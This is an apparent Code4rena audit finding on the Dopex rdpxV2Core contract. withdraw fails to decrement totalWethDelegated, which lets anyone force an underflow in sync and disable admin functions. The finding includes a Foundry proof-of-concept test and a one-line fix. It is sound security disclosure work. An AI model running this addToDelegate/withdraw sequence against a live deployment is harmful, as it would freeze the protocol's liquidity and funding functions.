Dopex - koo's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975

Vulnerability details

Impact

You can see in the following code. addToDelegate will add the amount of totalWethDelegated[1]. But Withdraw will not sub the amount of totalWethDelegated. This will cause totalWethDelegated only increase, not decrease.

One directly impact of this bug will cause the sync function no longer usable. Because totalWethDelegated may increase to be higher than balance and cause a underflow in [2].Sync call is called in function such as addLiquidity. It will make the admin can't add liquidity.

The furture impact of this bug will cause lowerDepeg and provideFunding no long usable. Because attacker can control totalWethDelegated to increase to be equal to reserveAsset[reservesIndex["WETH"]]. Then after sync call, the reserveAsset[reservesIndex["WETH"]].tokenBalance will be 0. Finally, the sub operation in lowerDepeg[3] and provideFunding[4] will all cause underflow.

function addToDelegate(
    uint256 _amount,
    uint256 _fee
  ) external returns (uint256) {
...

    // add amount to total weth delegated
    totalWethDelegated += _amount;  ------[1]
...
    return (delegates.length - 1);
  }

  function withdraw(
    uint256 delegateId
  ) external returns (uint256 amountWithdrawn) {
    _whenNotPaused();
    _validate(delegateId < delegates.length, 14);
    Delegate storage delegate = delegates[delegateId];
    _validate(delegate.owner == msg.sender, 9);

    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    _validate(amountWithdrawn > 0, 15);
    delegate.amount = delegate.activeCollateral;

    IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

    emit LogDelegateWithdraw(delegateId, amountWithdrawn);
  }

  function sync() external {
    for (uint256 i = 1; i < reserveAsset.length; i++) {
      uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
        address(this)
      );

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;   ----------[2]
      }
      reserveAsset[i].tokenBalance = balance;
    }

    emit LogSync();
  }


  function lowerDepeg(
    uint256 _rdpxAmount,
    uint256 _wethAmount,
    uint256 minamountOfWeth,
    uint256 minOut
  ) external onlyRole(DEFAULT_ADMIN_ROLE) returns (uint256 dpxEthReceived) {
...
    // update Reserves
    reserveAsset[reservesIndex["WETH"]].tokenBalance -= _wethAmount; -----[3]
...
  }

  function provideFunding()
    external
    onlyRole(DEFAULT_ADMIN_ROLE)
    returns (uint256 fundingAmount)
  {
...

    reserveAsset[reservesIndex["WETH"]].tokenBalance -= fundingAmount;   -----[4]
...
  }

Proof of Concept

forge test --match-path tests/rdpxV2-core/BugTest.t.sol -vvvv And you will see a underflow happen in sync function.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";
import "forge-std/console.sol";
import { Setup } from "./Setup.t.sol";

contract Mynit is Test,Setup {
    function testAaa() public{
        uint256 receiptTokenAmount = rdpxV2Core.bond(1 * 1e18, 0, address(this));

        uint256 previous_delegated = rdpxV2Core.totalWethDelegated();
        uint256 delegateid = rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
        rdpxV2Core.withdraw(delegateid);
        assertEq(previous_delegated,rdpxV2Core.totalWethDelegated());
        rdpxV2Core.sync();
    }
}

Tools Used

vscode, foundry

Recommended Mitigation Steps

It's easy to mitigate the bug. You just need to add

totalWethDelegated -= _amount;

in the function withdraw.

Assessed type

DoS